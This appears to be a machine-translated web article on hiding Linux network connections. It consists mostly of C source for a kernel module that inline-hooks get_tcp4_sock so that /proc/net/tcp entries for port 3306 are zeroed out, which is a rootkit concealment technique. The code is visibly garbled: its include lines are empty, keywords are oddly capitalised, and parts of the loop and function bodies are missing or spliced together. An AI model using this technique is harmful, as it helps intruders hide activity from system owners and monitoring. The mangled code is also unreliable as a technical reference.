Get the App
SLTechnology News&Howtos  ›  Servers  › 

How to hide the Network connection under Linux

Shulou Source: shulou.com Published: 2022-06-01 14:54:49 10月03日 Update

This article introduces the knowledge of "how to hide the network connection under Linux". Many people will encounter such a dilemma in the operation of the actual case. then let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!

Inline hook directly live get_tcp4_sock this function on the line, but need to re-implement the function of get_tcp4_sock, in the next filter. It is relatively simple. The code is as follows:

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

MODULE_LICENSE ("GPL")

MODULE_AUTHOR ("wzt")

_ _ U32 wnps_in_aton (const char * str)

{

Unsigned long l

Unsigned int val

Int i

L = 0

For (I = 0; I)

< 4; i++) { l rcv_saddr; __u16 destp = ntohs(inet->

Dport)

_ U16 srcp = ntohs (inet- > sport)

Printk ("!! in new_get_tcp4_sock.\ n")

If (icsk- > icsk_pending = = ICSK_TIME_RETRANS) {

Timer_active = 1

Timer_expires = icsk- > icsk_timeout

} else if (icsk- > icsk_pending = = ICSK_TIME_PROBE0) {

Timer_active = 4

Timer_expires = icsk- > icsk_timeout

} else if (& sk- > sk_timer) {

Timer_active = 2

Timer_expires = sk- > sk_timer.expires

} else {

Timer_active = 0

Timer_expires = jiffies

}

/ *

If (src = = wnps_in_aton ("127.0.0.1")) {

Printk ("got 127.0.0.1")

Return

}

, /

If (srcp = = 3306 | | destp = = 3306) {

Printk ("got 3306!\ n")

Seq_printf (f, "% 4d: X X X X:lX"

"X% 5d% 8d% lu% d% p% lu% lu% u% u% d% n"

0, 0, 0, 0, 0, 0

Tp- > write_seq-tp- > snd_una

Sk- > sk_state = = TCP_LISTEN? Sk- > sk_ack_backlog:

(tp- > rcv_nxt-tp- > copied_seq)

Timer_active

Jiffies_to_clock_t (timer_expires-jiffies)

Icsk- > icsk_retransmits

Sock_i_uid (sk)

Icsk- > icsk_probes_out

Sock_i_ino (sk)

Atomic_read (& sk- > sk_refcnt), sk

Jiffies_to_clock_t (icsk- > icsk_rto)

Jiffies_to_clock_t (icsk- > icsk_ack.ato)

(icsk- > icsk_ack.quick icsk_ack.pingpong

Tp- > snd_cwnd

Tp- > snd_ssthresh > = 0xFFFF?-1: tp- > snd_ssthresh

Len)

}

Else {

Seq_printf (f, "% 4d: X X X X:lX"

"X% 5d% 8d% lu% d% p% lu% lu% u% u% d% n"

I, src, srcp, dest, destp, sk- > sk_state

Tp- > write_seq-tp- > snd_una

Sk- > sk_state = = TCP_LISTEN? Sk- > sk_ack_backlog:

(tp- > rcv_nxt-tp- > copied_seq)

Timer_active

Jiffies_to_clock_t (timer_expires-jiffies)

Icsk- > icsk_retransmits

Sock_i_uid (sk)

Icsk- > icsk_probes_out

Sock_i_ino (sk)

Atomic_read (& sk- > sk_refcnt), sk

Jiffies_to_clock_t (icsk- > icsk_rto)

Jiffies_to_clock_t (icsk- > icsk_ack.ato)

(icsk- > icsk_ack.quick icsk_ack.pingpong

Tp- > snd_cwnd

Tp- > snd_ssthresh > = 0xFFFF?-1: tp- > snd_ssthresh

Len)

}

}

This is the end of the content of "how to hide the Network connection under Linux". Thank you for reading. If you want to know more about the industry, you can follow the website, the editor will output more high-quality practical articles for you!

Tags: Network content more knowledge practical successful learning next code function function but dilemma reality situation article case editing website industry process Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Linux Xiaomi OPPO Reno Shulou Information Redmi